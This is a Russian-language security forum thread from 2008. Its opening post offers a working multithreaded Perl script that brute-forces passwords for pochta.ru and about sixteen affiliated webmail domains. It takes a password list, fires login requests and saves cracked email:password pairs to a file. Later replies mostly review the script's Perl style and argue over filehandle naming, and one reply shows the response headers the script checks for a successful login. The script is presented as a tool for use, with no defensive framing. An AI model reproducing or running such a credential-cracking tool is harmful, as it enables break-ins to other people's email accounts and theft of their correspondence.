HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Pochta.ru Multithreads Brutforce [perl]
  #1  
Старый 13.05.2008, 20:09
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию Pochta.ru Multithreads Brutforce [perl]

Код:
#!/usr/bin/perl
#################################################################################################
################################Pochta.ru Multithreads Brutforce by ZAMUT####################
#(pochta.ru,fromru.com,front.ru,hotbox.ru,hotmail.ru,krovatka.su,land.ru,mail15.com,mail333.com,#
# newmail.ru,nightmail.ru,nm.ru,pisem.net,pochtamt.ru,pop3.ru,rbcmail.ru,smtp.ru)################
# Запускаем brut.pl xx, где xx - кол-во потоков
# plist.txt - Словарь паролей
# good.txt  - Файл для сбрученных паролей 
#################################################################################################
#############################################Antichat.ru#########################################
use IO::Socket;
use strict;
use warnings;
use threads;
use threads::shared;
my  @pass:shared;

my $threads = $ARGV[0];
open IN, "<plist.txt";
print 'Email:';
chomp(my $up =<STDIN>);
my($u,$p) = undef;
($u,$p)=split('\@',$up);
Next:
@pass = list();

for(0..$threads) {threads->create(\&brut, $_);}
for(threads->list) {$_->join; }

sub brut
{
 while (@pass)
 {
  my $pas = shift @pass;
  my $socket = IO::Socket::INET->new('pochta.ru:80') || die("Can't connecting!");
  print $socket "GET /login.php?reason=login&lng=&rnd=11111122&back=&user=$u&domain=$p&pass=$pas&long_session=1 HTTP/1.0\n\n";
  while(<$socket>)
  {
	 my $s = <$socket>;
	 if($s=~/login=/) 
		 {  open  GOOD,'>>good.txt'; 
	            print GOOD "$up:$pas\n";
		    print "\n$up:$pas\n";
		    close GOOD;
		    close $socket; 
		    exit; }
  }
  close $socket;
 }
}
goto Next;

sub list
{
	my (@mas);
	while (<IN>){
	push @mas, $_;
	last if (@mas == 500);
	}
	chomp @mas;
	return @mas;
};
з.ы.
На канале 2 Мб/c при 30 потоках, скорость ~45-50 п/c. Дальше - больше

Последний раз редактировалось ZAMUT; 14.05.2008 в 01:01..
 
Ответить с цитированием

  #2  
Старый 13.05.2008, 20:53
demonoid
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме:
4094601

Репутация: 495
По умолчанию

Код:
my $socket = IO::Socket::INET->new(
  PeerAddr => $host, 
  PeerPort => $port,
  Proto => 'tcp',
  Type => SOCK_STREAM)...
проще так:
Код:
my $socket = IO::Socket::INET->new('pochta.ru:80')...
Код:
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
Пропустил объявление массива @trl;
Код:
my @trl;
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
Код:
open  good,'>>good.txt';
Дескрипторы принято писать заглавными буквами
Код:
open  GOOD,'>>good.txt';
ещё куча ошибок....
Код:
use strict; 
use warnings;
use diagnostics;

Последний раз редактировалось demonoid; 13.05.2008 в 20:56..
 
Ответить с цитированием

  #3  
Старый 13.05.2008, 21:12
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию

впринципе неплохо,советую юзать Lwp дабы не было такого громоздкого кода
 
Ответить с цитированием

  #4  
Старый 13.05.2008, 21:19
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию

baltazar, нет. Тк скорость заметно упадет, я бы даже сказал в разы.
 
Ответить с цитированием

  #5  
Старый 13.05.2008, 21:22
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

Цитата:
Сообщение от ZAMUT  
baltazar, нет. Тк скорость заметно упадет, я бы даже сказал в разы.
это почему?
 
Ответить с цитированием

  #6  
Старый 13.05.2008, 22:37
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию

Вообщем так. .
demonoid, спс поправил . эт не мега релиз =) но замечание уместно. и если на то пошло, то массв объявлять уж точно не в цикле

Почему не LWP ? потому, что
мне от ответа всего лишь нужно
Код:
Server: nginx/0.5.35
Content-Type: text/html; charset=windows-1251
X-Powered-By: PHP/5.2.3
Set-Cookie: id_lifetime=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=.www.pochta.ru
Set-Cookie: id_lifetime=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=pochta.ru
Set-Cookie: id=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=.www.pochta.ru
Set-Cookie: login=bla; expires=Wed, 13-May-2009 18:11:36 GMT; path=/; domain=.www.pochta.ru
 
Ответить с цитированием

  #7  
Старый 13.05.2008, 23:24
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

Код:
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
Пропустил объявление массива @trl;
Код:
my @trl;
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
аз его тут объявлять при простом присвоении его и так создаст -- херню написал

Код:
open  good,'>>good.txt';
Дескрипторы принято писать заглавными буквами
Код:
open  GOOD,'>>good.txt';
кем принято??? айзербайджанцами??? как хочет так и пишет -- левый доеп

ещё куча ошибок....
Код:
use strict; 
use warnings;
use diagnostics;
[/QUOTE]

это его вопросы юзать стрикт или нет -- это не ошибка нифига
 
Ответить с цитированием

  #8  
Старый 14.05.2008, 00:04
demonoid
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме:
4094601

Репутация: 495
По умолчанию

Естественно объявление массива не должно было быть в цикле пропустил многоточие xD

genom--
сердечно благодарю тебя за минусы xD
Код:
perldoc -f open
ув.читайте документацию
неверно
Код:
use strict; 
use warnings;

open f,'>>','file.txt';
close f;
ошибка
Код:
Unquoted string "f" may clash with future reserved word at ..pl line 4.
Unquoted string "f" may clash with future reserved word at ..pl line 5.
Название дескриптора, как правило, пишут заглавными буквами, чтобы исключить совпадение с зарезервированными словами
Код:
".....
Лучше заключить такое слово в кавычки  
или как-то выделить заглавными буквами , или 
вставить в него подчёркивание ......"
верно

Код:
use strict; 
use warnings;

open F,'>>','file.txt';
close F;
Код:
use strict; 
use warnings;

open _f,'>>','file.txt';
close _f;
PS: Не кто не до кого не `доеп` , все мы нормальные люди , не `быдлокодеры` давайте выражать свои мысли более тактично ?

Последний раз редактировалось demonoid; 14.05.2008 в 00:29..
 
Ответить с цитированием

  #9  
Старый 14.05.2008, 14:48
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

ты хоть понял что сам написал -- мы вообщето говорил?? КАКАЯ РАЗНИЦА большими писать дескриптор или нет -- а то что ты привел из перлдока вообще невтему
 
Ответить с цитированием

  #10  
Старый 14.05.2008, 14:53
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

зарезервированные слова порабы уже знать это раз
open F,'>>','file.txt'; -- это трындец open F,'>>file.txt'; минус 3 левых символа --- это во вторых
в третьих выкинь свой учебник на помойку
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ